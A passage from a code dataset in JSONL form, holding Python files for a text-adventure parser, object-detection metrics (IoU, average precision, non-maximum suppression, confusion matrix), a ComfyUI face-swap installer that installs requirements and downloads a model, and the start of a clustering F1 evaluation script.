PERSO.inventory:\n\t\t\t\treturn False, \"Object is already in your inventory\"\n\t\t\telif self.verb.pos_obj_condition == \"in_inventory\" and self.CODs[0].name not in PERSO.inventory:\n\t\t\t\treturn False, \"Object is not in your inventory (maybe in the room)\"\n\t\t\t\n\n## NO CONNECTORS: VERIFY IF THE ACTION ON THE COD IS ALLOWED\n\t\t\tif len(self.connectors) == 0: #i.e 1 verb and 0 or 1 COD\n\t\t\t\t#print(self.verb)\n\t\t\t\tif len(self.CODs) not in self.verb.nb_obj:\n\t\t\t\t\treturn False, \"Invalid number of COD\"\n\t\t\t\tif self.verb != \"look\" and len(self.CODs) == 1 and self.CODs[0].AllowAction(self.verb.name) is False:\n\t\t\t\t\tverified = False\n\t\t\t\t\terror = \"Verb not allowed on object\"\n\t\t\t\t\treturn (verified, error)\n\n\t\t\t\n\t\t\tif len(self.connectors) > 0:\n## VERIFY IF CONNECTORS EXIST\n\t\t\t\tfor i, con in enumerate(self.connectors):\n\t\t\t\t\tif con not in self.connectors_list:\n\t\t\t\t\t\treturn (False, \"Connector \" + con + \" do not exist in my language\")\n\n## VERIFY IF THERE IS SOMETING TO CONNECT\n\t\t\t\tif len(self.connectors) > 0 and len(self.CODs) == 0:\n\t\t\t\t\treturn False, \"connectors miss cod\"\n\n## MAX NUMBER OF CONNECTORS == 1:\n\t\t\t\tif len(self.connectors) > 1:\n\t\t\t\t\treturn False, \"Too complicated for me (nb connectors > 1)\"\n\n## VERIFY THAT THERE IS EXACTLY TWO COD TO CONNECT\n\t\t\t\tif len(self.CODs) != 2:\n\t\t\t\t\treturn False, \"I want EXACTLY two 2 cod for the moment\"\n\n## VERIFY THAT THE 2 OBJECTS ARE DIFFERENT\n\t\t\t\tif self.CODs[0] == self.CODs[1]:\n\t\t\t\t\treturn False, \"Cannot connect an object with itself\"\n\n## VERIFY IF THE INDIRECT OBJ (the 2nd one) ACCEPT THE CONNECTOR:\n\t\t\t\tif self.connectors[0] not in self.CODs[1].connectors:\n\t\t\t\t\treturn False, \"Indirect object does not accept this connector\"\n\n\n\n\t\treturn (verified, error)\n\n\tdef Repondre(self):\n\t\t\n\t\tself.Simplify()\n\t\tif len(self.chaine) == 0:\n\t\t\treturn \"This is not a complete statement!\"\n\t\tself.IdWords()\n\t\treponse = \"\"\n\t\tverified, error = self.Verify()\n\t\treponse = error\n\t\t#print(\"Verified?\", verified, \"Error:\", error)\n\t\t#print(\"Verb:\", self.verb, \"\\nCODs:\", self.CODs, \"\\nConnectors:\", self.connectors)\n\t\tif verified:\n\t\t\t\n\t\t\tif self.verb.name == \"look\":\n\t\t\t\t#if self.CODs[0].name in OBJD.keys():\n\t\t\t\t\t#reponse = OBJD[self.CODs[0].name].Describe()\n\t\t\t\t#else:\n\t\t\t\t\t#reponse = PERSO.room.Describe()\n\t\t\t\tif len(self.CODs) < 2:\n\t\t\t\t\treponse = self.CODs[0].Describe(self.connectors)\n\t\t\t\telse:\n\t\t\t\t\treponse = self.CODs[1].Describe(self.connectors)\n\t\t\t\t\n\t\t\t\t\n\t\t\telif self.verb == \"inventory\":\n\t\t\t\treponse = PERSO.PrintInventory()\n\t\t\t\t\t\t\t\n\t\t\telif self.verb.name == \"go\":\n\t\t\t\t#print(\"DEBUG GO \", self.CODs)\n\t\t\t\tused_exit = PERSO.room.GetExitFromDirection(self.CODs[0])\n\t\t\t\tPERSO.Move(used_exit)\n\t\t\t\n\t\t\t#elif self.verb.name == \"use\":\n\t\t\t\t#reponse = \"You use \"+ self.CODs[0].name\n\t\t\t\n\t\t\telif self.verb.name == \"take\":\n\t\t\t\tprint(self.FindReachableObject(self.CODs[0]))\n\t\t\t\tself.FindReachableObject(self.CODs[0]).Drop(self.CODs[0].name)\n\t\t\t\tPERSO.inventory.append(self.CODs[0])\n\t\t\t\treponse = \"You take \" + self.CODs[0].name\n\t\t\t\n\t\t\telif self.verb.name == \"drop\":\n\t\t\t\tPERSO.Drop(self.CODs[0].name)\n\t\t\t\tROOMD[PERSO.room.name].inventory.append(self.CODs[0])\n\t\t\t\treponse = \"You drop \" + self.CODs[0].name\n\t\t\t\n\t\t\telif self.verb.name == \"help\":\n\t\t\t\treponse = \"I know it is not always easy to know what your next move should be, especially when you are in the dark.\\nBut one good thing you can always do is LOOK around you. That way you'll have some idea about what could be of USE, or where to GO.\"\n\t\t\t\t\n\t\t\telif self.verb.name == \"break\":\n\t\t\t\tprint(\"BREAK ;)\")\n \n\t\t\telif self.verb.name == \"put\":\n\t\t\t\tself.FindReachableObject(self.CODs[0]).Drop(self.CODs[0])\n\t\t\t\tself.CODs[1].inventory.append(self.CODs[0])\n\t\t\t\n\t\t\t\n\t\t\telse:\n\t\t\t\treponse = \"I understood everything but I suck.\"\n\t\t\n\t\treturn reponse\t\n\t\n\t\n\tdef FindReachableObject(self, obj):\n\t\tif obj == PERSO.room or obj == \"room\":\n\t\t\treturn PERSO.room.name\n\n\t\telif obj in PERSO.room.inventory:\n\t\t\treturn ROOMD[PERSO.room.name]\n\t\t\n\t\telif obj in PERSO.inventory:\n\t\t\treturn PERSO\n\t\t\n\t\telse:\n\t\t\tfor i, o in enumerate(PERSO.inventory):\n\t\t\t\tif obj in o.inventory:\n\t\t\t\t\treturn PERSO.inventory[i]\n\t\t\tfor i, o in enumerate(ROOMD[PERSO.room.name].inventory):\n\t\t\t\tif obj in o.inventory:\n\t\t\t\t\treturn ROOMD[PERSO.room.name].inventory[i]\n\t\t\n\t\treturn False\n\t\n\t\n\tdef Simplify(self):\n\t\tto_del = []\n\t\tfor i, m in enumerate(self.chaine):\n\t\t\tif m in self.useless_list:\n\t\t\t\tto_del.append(i)\n\t\tfor i, d in enumerate(to_del):\n\t\t\tdel self.chaine[d-i]\n\t\n\tdef Chercher(self, *mots):\n\t\texiste = -1\n\t\tfor m in mots:\n\t\t\tfor i, a in enumerate(self.chaine):\n\t\t\t\tif m == a:\n\t\t\t\t\texiste = i\n\t\t\t\t\tbreak\n\t\t\tif existe != -1:\n\t\t\t\tbreak\n\t\treturn existe\n\n\t\t\n\tdef get_COD(self):\n\t\t\"\"\"From a list of word already simplified, get the object of interest e.g: ['look' 'rusted' 'knife'] -> \"rusted knife\"\"\"\n\t\tCOD = \"\"\n\t\tfor i, m in enumerate(self.chaine[1:]):\n\t\t\tCOD += m\n\t\t\tif i+2 != len(self.chaine):\n\t\t\t\tCOD += \" \"\n\t\treturn COD\n","repo_name":"LeoBosse/Escape_Words","sub_path":"response.py","file_name":"response.py","file_ext":"py","file_size_in_byte":9691,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"32413292909","text":"import time\nimport warnings\nfrom pathlib import Path\nfrom typing import Tuple, Optional, Union\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport torch\nimport torchvision\n\nfrom data_loading.label_adapters import xywh2xyxy\nfrom utils.plots import plot_pr_curve, plot_mc_curves\nfrom logger import logger\n\nDIV_EPS = 1e-16\n\n\ndef bbox_ioa(box1: np.ndarray, box2: np.ndarray, eps: float = 1e-7) -> np.ndarray:\n \"\"\"Compute the intersection over box2 area given box1, box2.\n Boxes are formatted as x1y1x2y2\n :param box1: shape (4)\n :param box2: shape (n, 4)\n :param eps: division epsilon to avoid NaNs\n :return: intersection over area between the bounding boxes\n \"\"\"\n box2 = box2.transpose()\n\n # Get the coordinates of bounding boxes\n b1_x1, b1_y1, b1_x2, b1_y2 = box1[0], box1[1], box1[2], box1[3]\n b2_x1, b2_y1, b2_x2, b2_y2 = box2[0], box2[1], box2[2], box2[3]\n\n # Intersection area\n inter_area = (np.minimum(b1_x2, b2_x2) - np.maximum(b1_x1, b2_x1)).clip(0) * (\n np.minimum(b1_y2, b2_y2) - np.maximum(b1_y1, b2_y1)\n ).clip(0)\n\n # box2 area\n box2_area = (b2_x2 - b2_x1) * (b2_y2 - b2_y1) + eps\n\n # Intersection over box2 area\n return inter_area / box2_area\n\n\ndef bbox_iou(\n box1: torch.Tensor,\n box2: torch.Tensor,\n x1y1x2y2: bool = True,\n g_iou: bool = False,\n d_iou: bool = False,\n c_iou: bool = False\n) -> torch.Tensor:\n \"\"\"Compute bounding boxes IOU.\n :param box1: first bounding boxes. (4, n)\n :param box2: first bounding boxes. (n, 4)\n :param x1y1x2y2: True if coordinates are xyxy format.\n :param g_iou: compute GIoU value\n :param d_iou: compute DIoU value\n :param c_iou: compute CIoU value\n :returns:\n the IoU of box1 to box2.\n box1 is 4, box2 is nx4\n \"\"\"\n box2 = box2.T\n\n # Get the coordinates of bounding boxes\n if x1y1x2y2: # x1, y1, x2, y2 = box1\n b1_x1, b1_y1, b1_x2, b1_y2 = box1[0], box1[1], box1[2], box1[3]\n b2_x1, b2_y1, b2_x2, b2_y2 = box2[0], box2[1], box2[2], box2[3]\n else: # transform from xywh to xyxy\n b1_x1, b1_x2 = box1[0] - box1[2] / 2, box1[0] + box1[2] / 2\n b1_y1, b1_y2 = box1[1] - box1[3] / 2, box1[1] + box1[3] / 2\n b2_x1, b2_x2 = box2[0] - box2[2] / 2, box2[0] + box2[2] / 2\n b2_y1, b2_y2 = box2[1] - box2[3] / 2, box2[1] + box2[3] / 2\n\n # Intersection area\n inter = (torch.min(b1_x2, b2_x2) - torch.max(b1_x1, b2_x1)).clamp(0) * \\\n (torch.min(b1_y2, b2_y2) - torch.max(b1_y1, b2_y1)).clamp(0)\n\n # Union Area\n w1, h1 = b1_x2 - b1_x1, b1_y2 - b1_y1 + DIV_EPS\n w2, h2 = b2_x2 - b2_x1, b2_y2 - b2_y1 + DIV_EPS\n union = w1 * h1 + w2 * h2 - inter + DIV_EPS\n\n iou = inter / union\n if g_iou or d_iou or c_iou:\n cw = torch.max(b1_x2, b2_x2) - torch.min(b1_x1, b2_x1) # convex (smallest enclosing box) width\n ch = torch.max(b1_y2, b2_y2) - torch.min(b1_y1, b2_y1) # convex height\n if c_iou or d_iou: # Distance or Complete IoU https://arxiv.org/abs/1911.08287v1\n c2 = cw ** 2 + ch ** 2 + DIV_EPS # convex diagonal squared\n rho2 = ((b2_x1 + b2_x2 - b1_x1 - b1_x2) ** 2 +\n (b2_y1 + b2_y2 - b1_y1 - b1_y2) ** 2) / 4 # center distance squared\n if d_iou:\n return iou - rho2 / c2 # d_iou\n elif c_iou: # https://github.com/Zzh-tju/d_iou-SSD-pytorch/blob/master/utils/box/box_utils.py#L47\n v = (4 / np.pi ** 2) * torch.pow(torch.atan(w2 / h2) - torch.atan(w1 / h1), 2)\n with torch.no_grad():\n alpha = v / (v - iou + (1 + DIV_EPS))\n return iou - (rho2 / c2 + v * alpha) # c_iou\n else: # g_iou https://arxiv.org/pdf/1902.09630.pdf\n c_area = cw * ch + DIV_EPS # convex area\n return iou - (c_area - union) / c_area # g_iou\n return iou # IoU\n\n\ndef box_iou(box1: torch.Tensor, box2: torch.Tensor) -> torch.Tensor:\n \"\"\"Compute intersection of union (Jaccard index) of boxes.\n :param box1: a torch tensor with (N, 4).\n :param box2: a torch tensor with (N, 4).\n :returns: iou: (N, M) torch tensor,\n as NxM matrix containing the pairwise IoU values for every element in boxes1 and boxes2.\n \"\"\"\n\n def box_area(box: torch.Tensor) -> torch.Tensor:\n return (box[2] - box[0]) * (box[3] - box[1])\n\n area1 = box_area(box1.T)\n area2 = box_area(box2.T)\n\n inter = (\n (torch.min(box1[:, None, 2:], box2[:, 2:]) -\n torch.max(box1[:, None, :2], box2[:, :2])\n ).clamp(0).prod(2)\n )\n return inter / (area1[:, None] + area2 - inter)\n\n\ndef ap_per_class(\n tp: np.ndarray,\n conf: np.ndarray,\n pred_cls: np.ndarray,\n target_cls: np.ndarray,\n plot: bool = False,\n metric2maximize: str = 'F2',\n iou2show: Optional[float] = None,\n iou_values: Optional[np.ndarray] = None,\n) -> Tuple[np.ndarray, np.ndarray, np.ndarray, np.ndarray, np.ndarray, np.ndarray, float, dict]:\n \"\"\"Compute the average precision, given the recall and precision curves.\n Source: https://github.com/rafaelpadilla/Object-Detection-Metrics.\n :param tp: True positives (numpy array, nx1 or nx10).\n :param conf: Objectness value from 0-1 (numpy array).\n :param pred_cls: Predicted object classes (numpy array).\n :param target_cls: True object classes (numpy array).\n :param plot: Plot precision-recall curve at mAP@0.5\n :param metric2maximize: metric to maximize to grab the resp. AP metrics\n By default, F2 but F1 can also be selected\n :param iou2show: IOU value for which to return the metrics\n :param iou_values: IOU values from which the inputs were computed\n :returns: The average precision as computed in py-faster-rcnn\n the selected iou value for which were selected and\n the complete metrics if plot is True\n \"\"\"\n # Compute IOU index to return metrics\n iou_idx = np.argmin(np.abs(iou_values - iou2show)).item()\n logger.info(\n f\"Showing results for IOU: {iou_values[iou_idx].item()} \"\n f\"(closest to {iou2show})\"\n )\n logger.info(f\"Number of predicted boxes: {len(pred_cls)}, number of target boxes: {len(target_cls)}\")\n # Sort by objectness\n class_mask = np.argsort(-conf)\n tp, conf, pred_cls = tp[class_mask], conf[class_mask], pred_cls[class_mask]\n\n # Find unique classes\n unique_classes = np.unique(target_cls)\n nc = unique_classes.shape[0] # number of classes, number of detections\n\n # Create Precision-Recall curve and compute AP for each class\n px, py = np.linspace(0, 1, 1000), [] # for plotting\n ap, p, r = np.zeros((nc, tp.shape[1])), np.zeros((nc, 1000)), np.zeros((nc, 1000))\n rec_dict, prec_dict, f1_dict, f2_dict = {}, {}, {}, {}\n for ci, c in enumerate(unique_classes):\n class_mask = (pred_cls == c)\n n_l = (target_cls == c).sum() # number of labels\n n_p = class_mask.sum() # number of predictions # noqa\n\n if n_p == 0 or n_l == 0:\n continue\n else:\n # Accumulate FPs and TPs\n fpc = (1 - tp[class_mask]).cumsum(0)\n tpc = tp[class_mask].cumsum(0)\n\n # Recall\n recall = tpc / (n_l + DIV_EPS) # recall curve\n r[ci] = np.interp(\n -px, -conf[class_mask], recall[:, iou_idx], left=0\n ) # negative x, xp because xp decreases\n\n # Precision\n precision = tpc / (tpc + fpc) # precision curve\n p[ci] = np.interp(-px, -conf[class_mask], precision[:, iou_idx], left=1) # p at pr_score\n\n if plot:\n for _i, _iou in enumerate(iou_values):\n rec_dict[_iou] = _rec = np.interp(-px, -conf[class_mask], recall[:, _i])\n prec_dict[_iou] = _prec = np.interp(-px, -conf[class_mask], precision[:, _i])\n f1_dict[_iou] = 2 * _prec * _rec / (_prec + _rec + DIV_EPS)\n f2_dict[_iou] = 5 * _prec * _rec / (4 * _prec + _rec + DIV_EPS)\n\n # AP from recall-precision curve\n for j in range(tp.shape[1]):\n ap[ci, j], mpre, mrec = compute_ap(recall[:, j], precision[:, j])\n if plot and j == 0:\n py.append(np.interp(px, mrec, mpre)) # precision at mAP@0.5\n\n # Compute F1 and F2 (harmonic mean of precision and recall)\n f1 = 2 * p * r / (p + r + DIV_EPS)\n f2 = 5 * p * r / (4 * p + r + DIV_EPS)\n all_metrics_dict = \\\n {\n \"px\": px,\n \"py\": py,\n \"ap\": ap,\n \"recall\": rec_dict,\n \"precision\": prec_dict,\n \"f1\": f1_dict,\n \"f2\": f2_dict,\n } if plot else {}\n if metric2maximize == \"F1\":\n class_mask = f1.mean(0).argmax() # max F1 index\n elif metric2maximize == \"F2\":\n class_mask = f2.mean(0).argmax() # max F2 index\n else:\n error_msg = \"Unknown option for parameter 'metric2maximize'. Select 'F1' or 'F2'\"\n logger.error(error_msg)\n raise Exception(error_msg)\n return p[:, class_mask], r[:, class_mask], ap, f1[:, class_mask], f2[:, class_mask], \\\n unique_classes.astype(\"int32\"), iou_values[iou_idx], all_metrics_dict\n\n\ndef compute_ap(recall: np.ndarray, precision: np.ndarray):\n \"\"\" Compute the average precision, given the recall and precision curves.\n Source: https://github.com/rbgirshick/py-faster-rcnn.\n :param recall: The recall curve (list).\n :param precision: The precision curve (list).\n :returns: The average precision as computed in py-faster-rcnn.\n \"\"\"\n # Append sentinel values to beginning and end\n mrec = np.concatenate(([0.0], recall, [1.0]))\n mpre = np.concatenate(([1.0], precision, [0.0]))\n\n # Compute the precision envelope\n mpre = np.flip(np.maximum.accumulate(np.flip(mpre)))\n\n # Integrate area under curve\n method = 'interp' # methods: 'continuous', 'interp'\n if method == 'interp':\n x = np.linspace(0, 1, 101) # 101-point interp (COCO)\n ap = np.trapz(np.interp(x, mrec, mpre), x) # integrate\n else: # 'continuous'\n i = np.where(mrec[1:] != mrec[:-1])[0] # points where x axis (recall) changes\n ap = np.sum((mrec[i + 1] - mrec[i]) * mpre[i + 1]) # area under curve\n\n return ap, mpre, mrec\n\n\ndef non_max_suppression(\n prediction: torch.Tensor,\n conf_thres: float = 0.25,\n iou_thres: float = 0.45,\n classes: Optional[list] = None,\n agnostic: bool = False,\n multi_label: bool = False,\n labels: Union[tuple, list] = (),\n max_det: int = 300,\n nms_type: str = \"nms\",\n) -> list:\n \"\"\"Run Non-Maximum Suppression (NMS) on inference results\n :param prediction: model output\n :param conf_thres: confidence threshold\n :param iou_thres: IoU threshold\n :param classes: Debug purpose to save both ground truth label and predicted result\n :param agnostic: Separate bboxes by classes for NMS with class separation\n :param multi_label: multiple labels per box\n :param labels: labels\n :param max_det: maximum number of detected objects by model\n :param nms_type: NMS type (e.g. nms, batched_nms, fast_nms, matrix_nms)\n :returns: list of detections, on (n,6) tensor per image [xyxy, conf, cls]\n \"\"\"\n nc = prediction.shape[2] - 5 # number of classes\n xc = prediction[..., 4] > conf_thres # candidates\n\n # Checks\n assert (\n 0 <= conf_thres <= 1\n ), f\"Invalid Confidence threshold {conf_thres}, valid values are between 0.0 and 1.0\"\n assert (\n 0 <= iou_thres <= 1\n ), f\"Invalid IoU {iou_thres}, valid values are between 0.0 and 1.0\"\n\n # Settings\n # minimum and maximum box width and height in pixels\n min_wh = 2 # noqa\n max_wh = 4096\n max_nms = 30000 # maximum number of boxes into torchvision.ops.nms()\n time_limit = 10.0 # seconds to quit after\n redundant = True # require redundant detections\n multi_label &= (nc > 1) # multiple labels per box (adds 0.5ms/img)\n\n t = time.time()\n output = [torch.zeros((0, 6), device=prediction.device)] * prediction.shape[0]\n for xi, x in enumerate(prediction): # image index, image inference\n # Apply constraints\n # x[((x[..., 2:4] < min_wh) | (x[..., 2:4] > max_wh)).any(1), 4] = 0 # width-height\n x = x[xc[xi]] # confidence\n\n # Cat apriori labels if auto-labelling\n if labels and len(labels[xi]):\n label = labels[xi]\n v = torch.zeros((len(label), nc + 5), device=x.device)\n v[:, :4] = label[:, 1:5] # box\n v[:, 4] = 1.0 # conf\n v[range(len(label)), label[:, 0].long() + 5] = 1.0 # cls\n x = torch.cat((x, v), 0)\n\n # If none remain process next image\n if not x.shape[0]:\n continue\n\n # Compute conf\n x[:, 5:] *= x[:, 4:5] # conf = obj_conf * cls_conf\n\n # Box (center x, center y, width, height) to (x1, y1, x2, y2)\n box = xywh2xyxy(x[:, :4])\n\n # Detections matrix nx6 (xyxy, conf, cls)\n if multi_label:\n i, j = (x[:, 5:] > conf_thres).nonzero(as_tuple=False).T\n x = torch.cat((box[i], x[i, j + 5, None], j[:, None].float()), 1)\n else: # best class only\n conf, j = x[:, 5:].max(1, keepdim=True)\n x = torch.cat((box, conf, j.float()), 1)[conf.view(-1) > conf_thres]\n\n # Filter by class\n if classes is not None:\n x = x[(x[:, 5:6] == torch.tensor(classes, device=x.device)).any(1)]\n\n # Apply finite constraint\n # if not torch.isfinite(x).all():\n # x = x[torch.isfinite(x).all(1)]\n\n # Check shape\n n = x.shape[0] # number of boxes\n if not n: # no boxes\n continue\n elif n > max_nms: # excess boxes\n x = x[x[:, 4].argsort(descending=True)[:max_nms]] # sort by confidence\n\n # 1. torchvision nms (original)\n if nms_type == \"nms\":\n c = x[:, 5:6] * (0 if agnostic else max_wh) # classes\n boxes, scores = x[:, :4] + c, x[:, 4] # boxes (offset by class), scores\n i = torchvision.ops.nms(boxes, scores, iou_thres) # NMS\n if i.shape[0] > max_det: # limit detections\n i = i[:max_det]\n output[xi] = x[i]\n # 2. torchvision batched_nms\n # https://github.com/ultralytics/yolov3/blob/f915bf175c02911a1f40fbd2de8494963d4e7914/utils/utils.py#L562-L563\n elif nms_type == \"batched_nms\":\n c = x[:, 5] * 0 if agnostic else x[:, 5] # class-agnostic NMS\n boxes, scores = x[:, :4].clone(), x[:, 4]\n i = torchvision.ops.boxes.batched_nms(boxes, scores, c, iou_thres) # YOLOv5\n if i.shape[0] > max_det: # limit detections\n i = i[:max_det]\n output[xi] = x[i]\n # 3. fast nms (yolact)\n # https://github.com/ultralytics/yolov3/blob/77e6bdd3c1ea410b25c407fef1df1dab98f9c27b/utils/utils.py#L557-L559\n elif nms_type == \"fast_nms\":\n c = x[:, 5] * 0 if agnostic else x[:, 5] # classes\n boxes = x[:, :4].clone() + c.view(-1, 1) * max_wh\n iou = box_iou(boxes, boxes).triu_(diagonal=1) # upper triangular iou matrix # noqa\n i = iou.max(0)[0] < iou_thres\n output[xi] = x[i][:max_det]\n # 4. matrix nms\n # https://github.com/ultralytics/yolov3/issues/679#issuecomment-604164825\n elif nms_type == \"matrix_nms\":\n boxes, scores = x[:, :4].clone(), x[:, 4]\n iou = box_iou(boxes, boxes).triu_(diagonal=1) # upper triangular iou matrix # noqa\n m = iou.max(0)[0].view(-1, 1) # max values\n decay = torch.exp(-(iou ** 2 - m ** 2) / 0.5).min(0)[\n 0\n ] # gauss with sigma=0.5\n scores *= decay\n i = torch.full((boxes.shape[0],), fill_value=1).bool()\n output[xi] = x[i][:max_det]\n elif nms_type == \"merge_nms\": # Merge NMS (boxes merged using weighted mean)\n c = x[:, 5:6] * (0 if agnostic else max_wh) # classes\n boxes, scores = x[:, :4] + c, x[:, 4] # boxes (offset by class), scores\n i = torchvision.ops.nms(boxes, scores, iou_thres) # NMS\n if i.shape[0] > max_det: # limit detections\n i = i[:max_det]\n\n if 1 < n < 3e3:\n # update boxes as boxes(i,4) = weights(i,n) * boxes(n,4)\n iou = box_iou(boxes[i], boxes) > iou_thres # iou matrix\n weights = iou * scores[None] # box weights\n x[i, :4] = torch.mm(weights, x[:, :4]).float() / weights.sum(\n 1, keepdim=True\n ) # merged boxes\n if redundant:\n i = i[iou.sum(1) > 1] # require redundancy\n\n output[xi] = x[i]\n else:\n assert \"Wrong NMS type!!\"\n\n if (time.time() - t) > time_limit:\n logger.warning(f\"WARNING: NMS time limit {time_limit}s exceeded\")\n break # time limit exceeded\n\n return output\n\n\nclass ConfusionMatrix:\n \"\"\"Updated version of OD confusion matrix.\n\n https://github.com/kaanakan/object_detection_confusion_matrix.\n \"\"\"\n\n def __init__(self, nc: int, conf: float = 0.25, iou_thres: float = 0.45) -> None:\n \"\"\"Initialize ConfusionMatrix class\n :param nc: number of classes\n :param conf: confidence threshold\n :param iou_thres: IoU threshold\n \"\"\"\n self.matrix = np.zeros((nc + 1, nc + 1))\n self.nc = nc # number of classes\n self.conf = conf\n self.iou_thres = iou_thres\n\n def process_batch(self, detections: np.ndarray, labels: Union[np.ndarray, torch.Tensor]) -> None:\n \"\"\"Return intersection-over-union (Jaccard index) of boxes.\n Both sets of boxes are expected to be in (x1, y1, x2, y2) format.\n :param detections: (Array[N, 6]), x1, y1, x2, y2, conf, class\n :param labels: (Array[M, 5]), class, x1, y1, x2, y2\n :returns: None, updates confusion matrix accordingly\n \"\"\"\n detections = detections[detections[:, 4] > self.conf]\n gt_classes = labels[:, 0].int()\n detection_classes = detections[:, 5].int()\n iou = box_iou(labels[:, 1:], detections[:, :4])\n\n x = torch.where(iou > self.iou_thres)\n if x[0].shape[0]:\n matches = (\n torch.cat(\n (torch.stack(x, 1), iou[x[0], x[1]][:, None]), 1\n ).detach().cpu().numpy()\n )\n if x[0].shape[0] > 1:\n matches = matches[matches[:, 2].argsort()[::-1]]\n matches = matches[np.unique(matches[:, 1], return_index=True)[1]]\n matches = matches[matches[:, 2].argsort()[::-1]]\n matches = matches[np.unique(matches[:, 0], return_index=True)[1]]\n else:\n matches = np.zeros((0, 3))\n\n n = matches.shape[0] > 0\n m0, m1, _ = matches.transpose().astype(np.int16)\n for i, gc in enumerate(gt_classes):\n j = m0 == i\n if n and sum(j) == 1:\n self.matrix[detection_classes[m1[j]], gc] += 1 # correct\n else:\n self.matrix[self.nc, gc] += 1 # background FP\n\n if n:\n for i, dc in enumerate(detection_classes):\n if not any(m1 == i):\n self.matrix[dc, self.nc] += 1 # background FN\n\n def get_matrix(self) -> np.ndarray:\n \"\"\"Return matrix.\"\"\"\n return self.matrix\n\n def plot(self, names: list, normalize: bool = True, save_dir: str = \"\") -> None:\n \"\"\"Plot confusion matrix.\n :param names: class names with order.\n :param normalize: Normalize flag.\n :param save_dir: directory where the plot images will be saved.\n \"\"\"\n try:\n import seaborn as sn\n\n array = self.matrix / (\n (self.matrix.sum(0).reshape(1, -1) + 1e-6) if normalize else 1\n ) # normalize columns\n array[array < 0.005] = np.nan # don't annotate (would appear as 0.00)\n\n fig = plt.figure(figsize=(12, 9), tight_layout=True)\n sn.set(font_scale=1.0 if self.nc < 50 else 0.8) # for label size\n labels = (0 < len(names) < 99) and len(names) == self.nc # apply names to tick labels\n with warnings.catch_warnings():\n warnings.simplefilter(\n \"ignore\"\n ) # suppress empty matrix RuntimeWarning: All-NaN slice encountered\n sn.heatmap(\n array,\n annot=self.nc < 30,\n annot_kws={\"size\": 8},\n cmap=\"Blues\",\n fmt=\".2f\",\n square=True,\n xticklabels=names + [\"background FP\"] if labels else \"auto\",\n yticklabels=names + [\"background FN\"] if labels else \"auto\",\n ).set_facecolor((1, 1, 1))\n fig.axes[0].set_xlabel(\"True\")\n fig.axes[0].set_ylabel(\"Predicted\")\n fig.savefig(Path(save_dir) / \"confusion_matrix.png\", dpi=250)\n plt.close()\n except Exception as e:\n logger.warning(f\"WARNING: ConfusionMatrix plot failure: {e}\")\n\n def print(self) -> None:\n \"\"\"Print confusion matrix.\"\"\"\n for i in range(self.nc + 1):\n logger.info(\" \".join(map(str, self.matrix[i])))\n","repo_name":"jasm37/yolor","sub_path":"metrics/metrics.py","file_name":"metrics.py","file_ext":"py","file_size_in_byte":21528,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"9209110709","text":"import os\nimport sys\nimport subprocess\n\ncomfy_path = '../..'\nif sys.argv[0] == 'install.py':\n sys.path.append('.') # for portable version\n\nimpact_path = os.path.join(os.path.dirname(__file__), \"modules\")\n\nsys.path.append(impact_path)\nsys.path.append(comfy_path)\n\nimport platform\nimport folder_paths\nfrom torchvision.datasets.utils import download_url\n\nprint(\"### ComfyUI-FaceSwap: Check dependencies\")\n\nif \"python_embeded\" in sys.executable or \"python_embedded\" in sys.executable:\n pip_install = [sys.executable, '-s', '-m', 'pip', 'install']\nelse:\n pip_install = [sys.executable, '-m', 'pip', 'install']\n\ndef ensure_pip_packages():\n try:\n import cython\n except Exception:\n my_path = os.path.dirname(__file__)\n requirements_path = os.path.join(my_path, \"requirements.txt\")\n subprocess.check_call(pip_install + ['-r', requirements_path])\n\ndef install():\n ensure_pip_packages()\n # Download model\n print(\"### ComfyUI-FaceSwap: Check basic models\")\n model_path = folder_paths.models_dir\n onnx_path = os.path.join(model_path, \"roop\")\n\n if not os.path.exists(onnx_path):\n download_url(\"https://huggingface.co/henryruhs/roop/resolve/main/inswapper_128.onnx\", onnx_path)\n","repo_name":"imb101/ComfyUI-FaceSwap","sub_path":"install.py","file_name":"install.py","file_ext":"py","file_size_in_byte":1233,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"27"} +{"seq_id":"74923417671","text":"# script to evaluate the clusters\nimport sys\n\ngold = open(\"HW2_dev.gold_standards\", \"r\")\ngoldClusters = []\ngoldDict = dict()\neventCounter = 0\ndocCounter = 0\nfor line in gold:\n\tcluster = line.strip()\n\n\tif cluster != \"unlabeled\":\n\t\tif cluster not in goldDict:\n\t\t\tgoldDict[cluster] = eventCounter\n\t\t\teventCounter += 1\n\n\t\tclusterID = goldDict[cluster]\n\t\twhile len(goldClusters) <= clusterID:\n\t\t\tgoldClusters.append([])\n\t\tgoldClusters[clusterID].append(docCounter)\n\n\tdocCounter += 1\ngold.close()\n\ndef getMacroF1(assignments):\n\tglobal goldClusters\n\n\tsysClusters = []\n\t\n\n\tfor i in range(len(assignments)):\n\t\tcluster = assignments[i]\n\t\twhile len(sysClusters) <= cluster:\n\t\t\tsysClusters.append([])\n\t\tsysClusters[cluster].append(i)\n\n\t# for each gold cluster, find the system cluster that maximizes F1\n\tclusterF1s = []\n\tfor goldCluster in goldClusters:\n\t\tbestF1 = -1\n\n\t\tfor sysCluster in sysClusters:\n\t\t\ttp = 0\n\t\t\tfp = 0\n\t\t\tfn = 0\n\t\t\tfor item in goldCluster:\n\t\t\t\tif item in sysCluster:\n\t\t\t\t\ttp += 1.0\n\t\t\t\telse:\n\t\t\t\t\tfn += 1.0\n\t\t\tfor item in sysCluster:\n\t\t\t\tif item not in goldCluster:\n\t\t\t\t\tfp += 1.0\n\n\t\t\t# if none match, just ignore\t\n\t\t\tif tp == 0:\n\t\t\t\tcontinue\n\n\t\t\tprecision = tp / (tp+fp)\n\t\t\trecall = tp / (tp+fn)\n\t\t\tf1 = 2*precision*recall/(precision+recall)\n\n\t\t\tif f1 > bestF1:\n\t\t\t\tbestF1 = f1\n\t\t\n\t\tclusterF1s.append(bestF1)\n\n\tmacroF1 = 0\n\tfor item in clusterF1s:\n\t\tmacroF1 += item\n\tmacroF1 = macroF1 / len(clusterF1s)\n\treturn macroF1\n\t# print \"Macro F1 = \" + 